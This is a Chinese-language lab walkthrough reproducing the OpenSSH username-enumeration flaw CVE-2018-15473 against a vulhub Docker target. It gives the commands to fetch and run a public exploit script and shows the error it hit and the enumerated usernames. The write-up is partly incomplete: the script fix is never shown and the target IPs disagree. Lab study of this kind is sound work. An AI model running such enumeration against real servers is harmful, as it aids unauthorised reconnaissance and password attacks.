介绍:
漏洞环境:
靶机:Ubuntu(vulhub
IP:192.168.0.104
漏洞复现:
1.开启环境
#cd vulhub-master/openssh/CVE-2018-15473 //进入目录
#docker-compose build
#docker-compose up -d //开启环境
2.工具下载
CVE-2018-15473-Exploit 工具进行用户名枚举。
#wget http://github.com/Rhynorater/CVE-2018-15473-Exploit/archive/refs/heads/master.zip //使用wget下载
#unzip master.zip //解压
其中注意!在复制下载压缩包连接到kali下载时复制是https,可能会下载失败,这里解决方法是改成http,如果还是下载失败,建议本机下载复制到kali里。
3.漏洞复现
pip install -r requirements.txt安装依赖。
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
#python3 -m venv tutorial-env //创建一个虚拟环境 #source tutorial-env/bin/activate //激活环境 #pip install -r requirements.txt //再次安装依赖
添加几个用户名到exampleInput.txt里
root example vulhub nobody rootInvalid user phithon 123 321
运行命令进行用户名枚举
#python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt 192.168.0.103
会发现有报错
Traceback (most recent call last:
File "/root/桌面/CVE-2018-15473-Exploit-master/sshUsernameEnumExploit.py", line 33, in <module>
old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: 'property' object is not subscriptable
第一处在sshUsernameEnumExploit.py脚本的33行
第三处在125行
#python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt 192.168.0.103
可以看到成功枚举出用户名
root、
example
、vulhub
、nobody
是存在的用户,rootInvalid
、user
、phithon
、123、321是不存在的用户。